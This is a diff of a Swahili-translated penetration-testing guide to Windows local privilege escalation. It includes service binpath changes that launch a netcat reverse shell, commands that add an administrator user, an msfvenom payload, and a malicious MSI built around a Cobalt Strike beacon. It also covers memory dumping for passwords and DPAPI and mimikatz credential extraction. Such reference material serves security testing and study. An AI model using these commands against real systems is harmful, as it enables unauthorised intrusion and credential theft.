{{#ref}}
|
||||
https://gist.github.com/BankSecurity/469ac5f9944ed1b8c39129dc0037bb8f
|
||||
{{#endref}}
|
||||
|
||||
Orodha ya obfuscators ya C#: [https://github.com/NotPrab/.NET-Obfuscator](https://github.com/NotPrab/.NET-Obfuscator)
|
||||
|
||||
@ -524,5 +529,4 @@ https://github.com/praetorian-code/vulcan
|
||||
|
||||
- [https://github.com/persianhydra/Xeexe-TopAntivirusEvasion](https://github.com/persianhydra/Xeexe-TopAntivirusEvasion)
|
||||
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -66,7 +66,7 @@ Hii [tovuti](https://msrc.microsoft.com/update-guide/vulnerability) ni muhimu kw
|
||||
- [_watson_](https://github.com/rasta-mouse/Watson)
|
||||
- [_winpeas_](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) _(Winpeas ina watson iliyojumuishwa)_
|
||||
|
||||
**Kwenye mfumo kwa taarifa za mfumo**
|
||||
**Kwenye eneo la ndani na taarifa za mfumo**
|
||||
|
||||
- [https://github.com/AonCyberLabs/Windows-Exploit-Suggester](https://github.com/AonCyberLabs/Windows-Exploit-Suggester)
|
||||
- [https://github.com/bitsadmin/wesng](https://github.com/bitsadmin/wesng)
|
||||
@ -114,7 +114,7 @@ Stop-Transcript
|
||||
|
||||
Maelezo ya utekelezaji wa PowerShell pipeline yanarekodiwa, yakijumuisha amri zilizotekelezwa, mwito wa amri, na sehemu za scripts. Hata hivyo, maelezo kamili ya utekelezaji na matokeo ya pato yanaweza kutokuwepo.
|
||||
|
||||
Ili kuwezesha hili, fuata maelekezo katika sehemu ya "Transcript files" ya nyaraka, ukichagua **"Module Logging"** badala ya **"Powershell Transcription"**.
|
||||
Ili kuwezesha hili, fuata maelekezo katika sehemu ya "Transcript files" ya hati, ukichagua **"Module Logging"** badala ya **"Powershell Transcription"**.
|
||||
```bash
|
||||
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
|
||||
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ModuleLogging
|
||||
@ -127,7 +127,7 @@ Get-WinEvent -LogName "windows Powershell" | select -First 15 | Out-GridView
|
||||
```
|
||||
### PowerShell **Script Block Logging**
|
||||
|
||||
Rekodi kamili ya shughuli na maudhui yote ya utekelezaji wa script yanakamatwa, kuhakikisha kwamba kila block ya msimbo inarekodiwa inavyotekelezwa. Mchakato huu unahifadhi njia ya ukaguzi ya kina ya kila shughuli, ambayo ni muhimu kwa uchunguzi na kuchambua tabia mbaya. Kwa kurekodi shughuli zote wakati wa utekelezaji, ufahamu wa kina kuhusu mchakato unapatikana.
|
||||
Rekodi kamili ya shughuli na maudhui yote ya utekelezaji wa skripti yanakamatwa, kuhakikisha kwamba kila block ya msimbo inarekodiwa inavyotekelezwa. Mchakato huu unahifadhi njia ya ukaguzi ya kina ya kila shughuli, muhimu kwa uchunguzi na kuchambua tabia mbaya. Kwa kurekodi shughuli zote wakati wa utekelezaji, ufahamu wa kina kuhusu mchakato unapatikana.
|
||||
```bash
|
||||
reg query HKCU\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
reg query HKLM\Software\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging
|
||||
@ -154,7 +154,7 @@ Get-PSDrive | where {$_.Provider -like "Microsoft.PowerShell.Core\FileSystem"}|
|
||||
|
||||
Unaweza kuathiri mfumo ikiwa masasisho hayajatolewa kwa kutumia http**S** bali http.
|
||||
|
||||
Unaanza kwa kuangalia ikiwa mtandao unatumia masasisho ya WSUS yasiyo ya SSL kwa kukimbia yafuatayo:
|
||||
Unaanza kwa kuangalia ikiwa mtandao unatumia masasisho ya WSUS yasiyo na SSL kwa kuendesha yafuatayo:
|
||||
```
|
||||
reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate /v WUServer
|
||||
```
|
||||
@ -167,7 +167,7 @@ Na ikiwa `HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU /v UseWUServ
|
||||
|
||||
Basi, **inaweza kutumika.** Ikiwa rejista ya mwisho ni sawa na 0, basi, kipengele cha WSUS kitaachwa.
|
||||
|
||||
Ili kutumia udhaifu huu unaweza kutumia zana kama: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus) - Hizi ni silaha za MiTM zilizotengenezwa kwa ajili ya kuingiza 'sasisho' za 'bandia' katika trafiki ya WSUS isiyo na SSL.
|
||||
Ili kutumia udhaifu huu unaweza kutumia zana kama: [Wsuxploit](https://github.com/pimps/wsuxploit), [pyWSUS ](https://github.com/GoSecure/pywsus)- Hizi ni silaha za MiTM zilizotengenezwa kwa scripts za udanganyifu kuingiza 'sasisho' za 'bandia' katika trafiki ya WSUS isiyo na SSL.
|
||||
|
||||
Soma utafiti hapa:
|
||||
|
||||
@ -176,17 +176,17 @@ Soma utafiti hapa:
|
||||
**WSUS CVE-2020-1013**
|
||||
|
||||
[**Soma ripoti kamili hapa**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\
|
||||
Kimsingi, hii ndiyo kasoro ambayo hitilafu hii inatumia:
|
||||
Kimsingi, hii ndiyo kasoro ambayo bug hii inatumia:
|
||||
|
||||
> Ikiwa tuna uwezo wa kubadilisha proxy yetu ya mtumiaji wa ndani, na Windows Updates inatumia proxy iliyowekwa katika mipangilio ya Internet Explorer, basi tuna uwezo wa kuendesha [PyWSUS](https://github.com/GoSecure/pywsus) kwa ndani ili kukamata trafiki yetu wenyewe na kuendesha msimbo kama mtumiaji aliyeinuliwa kwenye mali yetu.
|
||||
> Ikiwa tuna uwezo wa kubadilisha proxy yetu ya mtumiaji wa ndani, na Windows Updates inatumia proxy iliyowekwa katika mipangilio ya Internet Explorer, basi tuna uwezo wa kuendesha [PyWSUS](https://github.com/GoSecure/pywsus) kwa ndani ili kukamata trafiki yetu wenyewe na kuendesha msimbo kama mtumiaji aliye na mamlaka juu ya mali yetu.
|
||||
>
|
||||
> Zaidi ya hayo, kwa kuwa huduma ya WSUS inatumia mipangilio ya mtumiaji wa sasa, pia itatumia duka lake la vyeti. Ikiwa tutaunda cheti kilichojisaini kwa jina la mwenyeji wa WSUS na kuongeza cheti hiki kwenye duka la vyeti la mtumiaji wa sasa, tutakuwa na uwezo wa kukamata trafiki ya WSUS ya HTTP na HTTPS. WSUS haitumii mitindo kama HSTS kutekeleza uthibitisho wa aina ya kuaminiwa kwa matumizi ya kwanza kwenye cheti. Ikiwa cheti kilichowasilishwa kinatambuliwa na mtumiaji na kina jina sahihi la mwenyeji, kitakubaliwa na huduma.
|
||||
> Zaidi ya hayo, kwa kuwa huduma ya WSUS inatumia mipangilio ya mtumiaji wa sasa, pia itatumia duka lake la vyeti. Ikiwa tutaunda cheti kilichojisaini wenyewe kwa jina la mwenyeji wa WSUS na kuongeza cheti hiki katika duka la vyeti la mtumiaji wa sasa, tutakuwa na uwezo wa kukamata trafiki ya WSUS ya HTTP na HTTPS. WSUS haitumii mitindo kama HSTS kutekeleza uthibitisho wa aina ya kuamini kwa matumizi ya kwanza kwenye cheti. Ikiwa cheti kilichowasilishwa kinatambuliwa na mtumiaji na kina jina sahihi la mwenyeji, kitakubaliwa na huduma.
|
||||
|
||||
Unaweza kutumia udhaifu huu kwa kutumia zana [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (mara tu itakapokuwa huru).
|
||||
|
||||
## KrbRelayUp
|
||||
|
||||
Udhaifu wa **kuinua mamlaka ya ndani** upo katika mazingira ya **domaine** ya Windows chini ya hali maalum. Hali hizi ni pamoja na mazingira ambapo **saini ya LDAP haitekelezwi,** watumiaji wana haki za kujitengenezea zinazowawezesha kuunda **Resource-Based Constrained Delegation (RBCD),** na uwezo wa watumiaji kuunda kompyuta ndani ya domaine. Ni muhimu kutambua kwamba **masharti haya** yanatimizwa kwa kutumia **mipangilio ya default**.
|
||||
Udhaifu wa **kuinua mamlaka ya ndani** upo katika mazingira ya **domaine** ya Windows chini ya hali maalum. Hali hizi ni pamoja na mazingira ambapo **saini ya LDAP haitekelezwi,** watumiaji wana haki za kujitengenezea zinazowawezesha kuunda **Resource-Based Constrained Delegation (RBCD),** na uwezo wa watumiaji kuunda kompyuta ndani ya domaine. Ni muhimu kutambua kuwa **masharti haya** yanatimizwa kwa kutumia **mipangilio ya default**.
|
||||
|
||||
Pata **udhaifu katika** [**https://github.com/Dec0ne/KrbRelayUp**](https://github.com/Dec0ne/KrbRelayUp)
|
||||
|
||||
@ -208,7 +208,7 @@ Ikiwa una kikao cha meterpreter unaweza kujiendesha mbinu hii kwa kutumia moduli
|
||||
|
||||
### PowerUP
|
||||
|
||||
Tumia amri `Write-UserAddMSI` kutoka power-up kuunda ndani ya saraka ya sasa faili la MSI la Windows ili kupandisha mamlaka. Hii skripti inaandika msanidi wa MSI aliyeandaliwa awali ambao unahitaji kuongeza mtumiaji/kikundi (hivyo utahitaji ufikiaji wa GIU):
|
||||
Tumia amri `Write-UserAddMSI` kutoka power-up kuunda ndani ya saraka ya sasa faili la MSI la Windows ili kupandisha haki. Skripti hii inaandika msanidi wa MSI ulioandaliwa awali ambao unahitaji kuongeza mtumiaji/kikundi (hivyo utahitaji ufikiaji wa GIU):
|
||||
```
|
||||
Write-UserAddMSI
|
||||
```
|
||||
@ -216,7 +216,7 @@ Just execute the created binary to escalate privileges.
|
||||
|
||||
### MSI Wrapper
|
||||
|
||||
Soma mafunzo haya ili kujifunza jinsi ya kuunda MSI wrapper ukitumia zana hizi. Kumbuka kwamba unaweza kufunga faili ya "**.bat**" ikiwa unataka **tu** **kutekeleza** **mistari ya amri**.
|
||||
Soma hii tutorial ili kujifunza jinsi ya kuunda MSI wrapper ukitumia zana hizi. Kumbuka kwamba unaweza kufunga faili ya "**.bat**" ikiwa unataka **tu** **kutekeleza** **mistari ya amri**.
|
||||
|
||||
{{#ref}}
|
||||
msi-wrapper.md
|
||||
@ -230,22 +230,22 @@ create-msi-with-wix.md
|
||||
|
||||
### Create MSI with Visual Studio
|
||||
|
||||
- **Zalisha** na Cobalt Strike au Metasploit **payload mpya ya Windows EXE TCP** katika `C:\privesc\beacon.exe`
|
||||
- **Generate** with Cobalt Strike or Metasploit a **new Windows EXE TCP payload** in `C:\privesc\beacon.exe`
|
||||
- Fungua **Visual Studio**, chagua **Create a new project** na andika "installer" kwenye kisanduku cha utafutaji. Chagua mradi wa **Setup Wizard** na bonyeza **Next**.
|
||||
- Toa mradi jina, kama **AlwaysPrivesc**, tumia **`C:\privesc`** kwa ajili ya mahali, chagua **weka suluhisho na mradi katika saraka moja**, na bonyeza **Create**.
|
||||
- Toa mradi jina, kama **AlwaysPrivesc**, tumia **`C:\privesc`** kwa eneo, chagua **place solution and project in the same directory**, na bonyeza **Create**.
|
||||
- Endelea kubonyeza **Next** hadi ufikie hatua ya 3 ya 4 (chagua faili za kujumuisha). Bonyeza **Add** na chagua payload ya Beacon uliyotengeneza. Kisha bonyeza **Finish**.
|
||||
- Taja mradi wa **AlwaysPrivesc** katika **Solution Explorer** na katika **Properties**, badilisha **TargetPlatform** kutoka **x86** hadi **x64**.
|
||||
- Kuna mali nyingine unaweza kubadilisha, kama **Author** na **Manufacturer** ambazo zinaweza kufanya programu iliyosakinishwa ionekane halali zaidi.
|
||||
- Bonyeza-kulia kwenye mradi na chagua **View > Custom Actions**.
|
||||
- Kuna mali nyingine unaweza kubadilisha, kama **Author** na **Manufacturer** ambazo zinaweza kufanya programu iliyosakinishwa ionekane kuwa halali zaidi.
|
||||
- Bonyeza-kulia mradi na chagua **View > Custom Actions**.
|
||||
- Bonyeza-kulia **Install** na chagua **Add Custom Action**.
|
||||
- Bonyeza mara mbili kwenye **Application Folder**, chagua faili yako ya **beacon.exe** na bonyeza **OK**. Hii itahakikisha kwamba payload ya beacon inatekelezwa mara tu installer inapotekelezwa.
|
||||
- Chini ya **Custom Action Properties**, badilisha **Run64Bit** kuwa **True**.
|
||||
- Hatimaye, **ijenge**.
|
||||
- Hatimaye, **build it**.
|
||||
- Ikiwa onyo `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'` linaonyeshwa, hakikisha umeweka jukwaa kuwa x64.
|
||||
|
||||
### MSI Installation
|
||||
|
||||
Ili kutekeleza **ufungaji** wa faili ya .msi yenye uharibifu katika **background:**
|
||||
Ili kutekeleza **installation** ya faili ya mbaya ya `.msi` katika **background:**
|
||||
```
|
||||
msiexec /quiet /qn /i C:\Users\Steve.INFERNO\Downloads\alwe.msi
|
||||
```
|
||||
@ -276,7 +276,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
|
||||
### WDigest
|
||||
|
||||
Ikiwa inafanya kazi, **nywila za maandiko wazi zinahifadhiwa katika LSASS** (Local Security Authority Subsystem Service).\
|
||||
[**Maelezo zaidi kuhusu WDigest kwenye ukurasa huu**](../stealing-credentials/credentials-protections.md#wdigest).
|
||||
[**Maelezo zaidi kuhusu WDigest katika ukurasa huu**](../stealing-credentials/credentials-protections.md#wdigest).
|
||||
```bash
|
||||
reg query 'HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest' /v UseLogonCredential
|
||||
```
|
||||
@ -289,14 +289,14 @@ reg query 'HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA' /v RunAsPPL
|
||||
```
|
||||
### Credentials Guard
|
||||
|
||||
**Credential Guard** ilianzishwa katika **Windows 10**. Lengo lake ni kulinda akiba za taarifa za kuingia zilizohifadhiwa kwenye kifaa dhidi ya vitisho kama mashambulizi ya pass-the-hash.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard)
|
||||
**Credential Guard** ilianzishwa katika **Windows 10**. Lengo lake ni kulinda akiba za taarifa za kuingia zilizohifadhiwa kwenye kifaa dhidi ya vitisho kama vile mashambulizi ya pass-the-hash.| [**More info about Credentials Guard here.**](../stealing-credentials/credentials-protections.md#credential-guard)
|
||||
```bash
|
||||
reg query 'HKLM\System\CurrentControlSet\Control\LSA' /v LsaCfgFlags
|
||||
```
|
||||
### Cached Credentials
|
||||
|
||||
**Akikazi ya kikoa** inathibitishwa na **Mamlaka ya Usalama wa Mitaa** (LSA) na kutumiwa na vipengele vya mfumo wa uendeshaji. Wakati data za kuingia za mtumiaji zinathibitishwa na kifurushi cha usalama kilichosajiliwa, akikazi ya kikoa kwa mtumiaji kawaida huanzishwa.\
|
||||
[**Maelezo zaidi kuhusu Akikazi ya Kikoa hapa**](../stealing-credentials/credentials-protections.md#cached-credentials).
|
||||
**Akikazi za eneo** zinathibitishwa na **Mamlaka ya Usalama wa Mitaa** (LSA) na kutumiwa na vipengele vya mfumo wa uendeshaji. Wakati data za kuingia za mtumiaji zinathibitishwa na kifurushi cha usalama kilichosajiliwa, kawaida huanzishwa akikazi za eneo kwa mtumiaji.\
|
||||
[**More info about Cached Credentials here**](../stealing-credentials/credentials-protections.md#cached-credentials).
|
||||
```bash
|
||||
reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLOGON" /v CACHEDLOGONSCOUNT
|
||||
```
|
||||
@ -304,7 +304,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO
|
||||
|
||||
### Tambua Watumiaji & Vikundi
|
||||
|
||||
Unapaswa kuangalia kama kuna vikundi ambavyo unavyohusishwa navyo vina ruhusa za kuvutia
|
||||
Unapaswa kuangalia kama kuna vikundi ambavyo unahusishwa navyo vina ruhusa za kuvutia
|
||||
```bash
|
||||
# CMD
|
||||
net users %username% #Me
|
||||
@ -336,12 +336,12 @@ Angalia ukurasa ufuatao ili **ujifunze kuhusu token za kuvutia** na jinsi ya kuz
|
||||
privilege-escalation-abusing-tokens.md
|
||||
{{#endref}}
|
||||
|
||||
### Watumiaji waliounganishwa / Sesheni
|
||||
### Watumiaji waliounganishwa / Mikutano
|
||||
```bash
|
||||
qwinsta
|
||||
klist sessions
|
||||
```
|
||||
### Makaratasi ya Nyumbani
|
||||
### Maktaba za nyumbani
|
||||
```powershell
|
||||
dir C:\Users
|
||||
Get-ChildItem C:\Users
|
||||
@ -391,7 +391,7 @@ todos %username%" && echo.
|
||||
```
|
||||
### Utafutaji wa Nywila katika Kumbukumbu
|
||||
|
||||
Unaweza kuunda dump ya kumbukumbu ya mchakato unaoendelea ukitumia **procdump** kutoka sysinternals. Huduma kama FTP zina **nywila wazi katika kumbukumbu**, jaribu kutupa kumbukumbu na kusoma nywila.
|
||||
Unaweza kuunda dump ya kumbukumbu ya mchakato unaoendelea ukitumia **procdump** kutoka sysinternals. Huduma kama FTP zina **nywila katika maandiko wazi katika kumbukumbu**, jaribu kutupa kumbukumbu na kusoma nywila.
|
||||
```bash
|
||||
procdump.exe -accepteula -ma <proc_name_tasklist>
|
||||
```
|
||||
@ -434,7 +434,7 @@ accesschk.exe -uwcqv "Todos" * /accepteula ::Spanish version
|
||||
Ikiwa unapata kosa hili (kwa mfano na SSDPSRV):
|
||||
|
||||
_Kosa la mfumo 1058 limetokea._\
|
||||
&#xNAN;_Thuduma haiwezi kuanzishwa, ama kwa sababu imezimwa au kwa sababu haina vifaa vilivyoanzishwa vinavyohusishwa nayo._
|
||||
&#xNAN;_Thuduma haiwezi kuanzishwa, ama kwa sababu imezimwa au kwa sababu haina vifaa vilivyowezeshwa vinavyohusishwa nayo._
|
||||
|
||||
Unaweza kuifanya iweze kutumia
|
||||
```bash
|
||||
@ -449,7 +449,7 @@ sc.exe config usosvc start= auto
|
||||
```
|
||||
### **Badilisha njia ya binary ya huduma**
|
||||
|
||||
Katika hali ambapo kundi la "Watumiaji walioidhinishwa" lina **SERVICE_ALL_ACCESS** kwenye huduma, mabadiliko ya binary ya kutekeleza ya huduma yanawezekana. Ili kubadilisha na kutekeleza **sc**:
|
||||
Katika hali ambapo kundi la "Watumiaji waliothibitishwa" lina **SERVICE_ALL_ACCESS** kwenye huduma, mabadiliko ya binary ya kutekeleza ya huduma yanawezekana. Ili kubadilisha na kutekeleza **sc**:
|
||||
```bash
|
||||
sc config <Service_Name> binpath= "C:\nc.exe -nv 127.0.0.1 9988 -e C:\WINDOWS\System32\cmd.exe"
|
||||
sc config <Service_Name> binpath= "net localgroup administrators username /add"
|
||||
@ -472,9 +472,9 @@ Haki zinaweza kupandishwa kupitia ruhusa mbalimbali:
|
||||
|
||||
Kwa ajili ya kugundua na kutumia udhaifu huu, _exploit/windows/local/service_permissions_ inaweza kutumika.
|
||||
|
||||
### Haki dhaifu za binaries za huduma
|
||||
### Ruhusa dhaifu za binaries za huduma
|
||||
|
||||
**Angalia kama unaweza kubadilisha binary inayotekelezwa na huduma** au ikiwa una **ruhusa za kuandika kwenye folda** ambapo binary iko ([**DLL Hijacking**](dll-hijacking/))**.**\
|
||||
**Angalia kama unaweza kubadilisha binary inayotekelezwa na huduma** au ikiwa una **ruhusa za kuandika kwenye folda** ambapo binary inapatikana ([**DLL Hijacking**](dll-hijacking/))**.**\
|
||||
Unaweza kupata kila binary inayotekelezwa na huduma kwa kutumia **wmic** (sio katika system32) na kuangalia ruhusa zako kwa kutumia **icacls**:
|
||||
```bash
|
||||
for /f "tokens=2 delims='='" %a in ('wmic service list full^|find /i "pathname"^|find /i /v "system32"') do @echo %a >> %temp%\perm.txt
|
||||
@ -490,7 +490,7 @@ FOR /F %i in (C:\Temp\services.txt) DO @sc qc %i | findstr "BINARY_PATH_NAME" >>
|
||||
### Huduma za kurekebisha ruhusa za rejista
|
||||
|
||||
Unapaswa kuangalia kama unaweza kurekebisha rejista yoyote ya huduma.\
|
||||
Unaweza **kuangalia** **ruhusa** zako juu ya **rejista** ya huduma kwa kufanya:
|
||||
Unaweza **kuangalia** ruhusa zako juu ya **rejista** ya huduma kwa kufanya:
|
||||
```bash
|
||||
reg query hklm\System\CurrentControlSet\Services /s /v imagepath #Get the binary paths of the services
|
||||
|
||||
@ -507,7 +507,7 @@ reg add HKLM\SYSTEM\CurrentControlSet\services\<service_name> /v ImagePath /t RE
|
||||
```
|
||||
### Huduma za rejista Ruhusa za AppendData/AddSubdirectory
|
||||
|
||||
Ikiwa una ruhusa hii juu ya rejista hii inamaanisha **unaweza kuunda sub-rejista kutoka hii**. Katika kesi ya huduma za Windows hii ni **ya kutosha kutekeleza msimbo wowote:**
|
||||
Ikiwa una ruhusa hii juu ya rejista hii inamaanisha **unaweza kuunda sub registries kutoka hii**. Katika kesi ya huduma za Windows hii ni **ya kutosha kutekeleza msimbo wowote:**
|
||||
|
||||
{{#ref}}
|
||||
appenddata-addsubdirectory-permission-over-service-registry.md
|
||||
@ -515,7 +515,7 @@ appenddata-addsubdirectory-permission-over-service-registry.md
|
||||
|
||||
### Njia za Huduma zisizo na Nukuu
|
||||
|
||||
Ikiwa njia ya executable haiko ndani ya nukuu, Windows itajaribu kutekeleza kila kitu kinachomalizika kabla ya nafasi.
|
||||
Ikiwa njia ya executable haiko ndani ya nukuu, Windows itajaribu kutekeleza kila kitu kinachomaliza kabla ya nafasi.
|
||||
|
||||
Kwa mfano, kwa njia _C:\Program Files\Some Folder\Service.exe_ Windows itajaribu kutekeleza:
|
||||
```powershell
|
||||
@ -523,7 +523,7 @@ C:\Program.exe
|
||||
C:\Program Files\Some.exe
|
||||
C:\Program Files\Some Folder\Service.exe
|
||||
```
|
||||
Orodha ya njia za huduma zisizo na nukuu, ukiondoa zile zinazomilikiwa na huduma za Windows zilizojengwa ndani:
|
||||
Orodha ya njia za huduma zisizo na nukuu, ikiondoa zile zinazomilikiwa na huduma za Windows zilizojengwa ndani:
|
||||
```powershell
|
||||
wmic service get name,pathname,displayname,startmode | findstr /i auto | findstr /i /v "C:\Windows\\" | findstr /i /v '\"'
|
||||
wmic service get name,displayname,pathname,startmode | findstr /i /v "C:\\Windows\\system32\\" |findstr /i /v '\"' # Not only auto services
|
||||
@ -549,13 +549,13 @@ msfvenom -p windows/exec CMD="net localgroup administrators username /add" -f ex
|
||||
```
|
||||
### Hatua za Kuokoa
|
||||
|
||||
Windows inaruhusu watumiaji kubaini hatua zitakazochukuliwa ikiwa huduma itashindwa. Kipengele hiki kinaweza kuwekewa mipangilio ili kiashirie faili la binary. Ikiwa faili hili la binary linaweza kubadilishwa, kupandisha hadhi kunaweza kuwa na uwezekano. Maelezo zaidi yanaweza kupatikana katika [nyaraka rasmi](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>).
|
||||
Windows inaruhusu watumiaji kubaini hatua zitakazochukuliwa ikiwa huduma itashindwa. Kipengele hiki kinaweza kuwekewa mipangilio ili kiashiria kwenye binary. Ikiwa binary hii inaweza kubadilishwa, kupandisha hadhi kunaweza kuwa na uwezekano. Maelezo zaidi yanaweza kupatikana katika [nyaraka rasmi](<https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/cc753662(v=ws.11)?redirectedfrom=MSDN>).
|
||||
|
||||
## Maombi
|
||||
|
||||
### Maombi Yaliyosakinishwa
|
||||
|
||||
Angalia **idhini za binaries** (labda unaweza kubadilisha moja na kupandisha hadhi) na za **folda** ([DLL Hijacking](dll-hijacking/)).
|
||||
Angalia **idhini za binaries** (labda unaweza kuandika moja na kupandisha hadhi) na za **folda** ([DLL Hijacking](dll-hijacking/)).
|
||||
```bash
|
||||
dir /a "C:\Program Files"
|
||||
dir /a "C:\Program Files (x86)"
|
||||
@ -566,7 +566,7 @@ Get-ChildItem -path Registry::HKEY_LOCAL_MACHINE\SOFTWARE | ft Name
|
||||
```
|
||||
### Ruhusa za Kuandika
|
||||
|
||||
Angalia kama unaweza kubadilisha faili fulani ya usanidi ili kusoma faili maalum au ikiwa unaweza kubadilisha faili fulani ambayo itatekelezwa na akaunti ya Msimamizi (schedtasks).
|
||||
Angalia kama unaweza kubadilisha faili fulani ya usanidi ili kusoma faili maalum au kama unaweza kubadilisha faili fulani ambayo itatekelezwa na akaunti ya Msimamizi (schedtasks).
|
||||
|
||||
Njia moja ya kupata ruhusa dhaifu za folda/faili katika mfumo ni kufanya:
|
||||
```bash
|
||||
@ -594,7 +594,7 @@ Get-ChildItem 'C:\Program Files\*','C:\Program Files (x86)\*' | % { try { Get-Ac
|
||||
### Kimbia wakati wa kuanzisha
|
||||
|
||||
**Angalia kama unaweza kubadilisha baadhi ya rejista au binary ambayo itatekelezwa na mtumiaji tofauti.**\
|
||||
**Soma** **ukurasa ufuatao** kujifunza zaidi kuhusu maeneo ya **autoruns ya kuvutia ili kuongeza mamlaka**:
|
||||
**Soma** **ukurasa ufuatao** kujifunza zaidi kuhusu maeneo ya **autoruns ya kuvutia ili kupandisha mamlaka**:
|
||||
|
||||
{{#ref}}
|
||||
privilege-escalation-with-autorun-binaries.md
|
||||
@ -634,7 +634,7 @@ net share #Check current shares
|
||||
```
|
||||
### hosts file
|
||||
|
||||
Angalia kompyuta nyingine zinazojulikana zilizowekwa kwa nguvu kwenye faili za hosts
|
||||
Angalia kompyuta nyingine zinazojulikana zilizowekwa kwa nguvu kwenye faili la hosts
|
||||
```
|
||||
type C:\Windows\System32\drivers\etc\hosts
|
||||
```
|
||||
@ -727,9 +727,9 @@ Kumbuka kwamba mimikatz, lazagne, [credentialfileview](https://www.nirsoft.net/u
|
||||
|
||||
### DPAPI
|
||||
|
||||
**Data Protection API (DPAPI)** inatoa njia ya usimbaji wa data wa simetriki, hasa inayotumika ndani ya mfumo wa uendeshaji wa Windows kwa usimbaji wa funguo za kibinafsi zisizo na simetriki. Usimbaji huu unatumia siri ya mtumiaji au mfumo kuchangia kwa kiasi kikubwa katika entropy.
|
||||
**Data Protection API (DPAPI)** inatoa njia ya usimbaji wa data wa simetriki, hasa inayotumika ndani ya mfumo wa uendeshaji wa Windows kwa usimbaji wa funguo za kibinafsi zisizo za simetriki. Usimbaji huu unatumia siri ya mtumiaji au mfumo kuchangia kwa kiasi kikubwa katika entropy.
|
||||
|
||||
**DPAPI inaruhusu usimbaji wa funguo kupitia funguo za simetriki ambazo zinatokana na siri za kuingia za mtumiaji**. Katika hali zinazohusisha usimbaji wa mfumo, inatumia siri za uthibitishaji wa eneo la mfumo.
|
||||
**DPAPI inaruhusu usimbaji wa funguo kupitia funguo za simetriki ambazo zinatokana na siri za kuingia za mtumiaji**. Katika hali zinazohusisha usimbaji wa mfumo, inatumia siri za uthibitishaji wa kikoa cha mfumo.
|
||||
|
||||
Funguo za RSA za mtumiaji zilizohifadhiwa, kwa kutumia DPAPI, zinahifadhiwa katika saraka ya `%APPDATA%\Microsoft\Protect\{SID}`, ambapo `{SID}` inawakilisha [Identifier ya Usalama](https://en.wikipedia.org/wiki/Security_Identifier) wa mtumiaji. **Funguo ya DPAPI, iliyoko pamoja na funguo kuu inayolinda funguo za kibinafsi za mtumiaji katika faili hiyo hiyo**, kwa kawaida ina bytes 64 za data za nasibu. (Ni muhimu kutambua kwamba ufikiaji wa saraka hii umewekwa vizuizi, kuzuia orodha ya yaliyomo kupitia amri ya `dir` katika CMD, ingawa inaweza kuorodheshwa kupitia PowerShell).
|
||||
```powershell
|
||||
@ -746,7 +746,7 @@ Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
|
||||
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\
|
||||
```
|
||||
Unaweza kutumia **mimikatz module** `dpapi::cred` pamoja na `/masterkey` inayofaa ili kufungua.\
|
||||
Unaweza **kuchota DPAPI nyingi** **masterkeys** kutoka **memory** kwa kutumia moduli `sekurlsa::dpapi` (ikiwa wewe ni root).
|
||||
Unaweza **kuchota DPAPI nyingi** **masterkeys** kutoka **kumbukumbu** kwa kutumia `sekurlsa::dpapi` module (ikiwa wewe ni root).
|
||||
|
||||
{{#ref}}
|
||||
dpapi-extracting-passwords.md
|
||||
@ -786,7 +786,7 @@ na katika `HKCU\Software\Microsoft\Terminal Server Client\Servers\`
|
||||
HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
|
||||
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
|
||||
```
|
||||
### **Meneja ya Akiba ya Kumbukumbu za Desktop ya Kij remote**
|
||||
### **Meneja ya Akiba ya Kitambulisho cha Desktop ya Kijijini**
|
||||
```
|
||||
%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings
|
||||
```
|
||||
@ -960,7 +960,7 @@ Unaweza pia kutafuta faili hizi kwa kutumia **metasploit**: _post/windows/gather
|
||||
%SYSTEMROOT%\System32\config\SYSTEM
|
||||
%SYSTEMROOT%\System32\config\RegBack\system
|
||||
```
|
||||
### Akreditif za Wingu
|
||||
### Hati za Wingu
|
||||
```bash
|
||||
#From user home
|
||||
.aws\credentials
|
||||
@ -976,9 +976,9 @@ Tafuta faili inayoitwa **SiteList.xml**
|
||||
|
||||
### Cached GPP Pasword
|
||||
|
||||
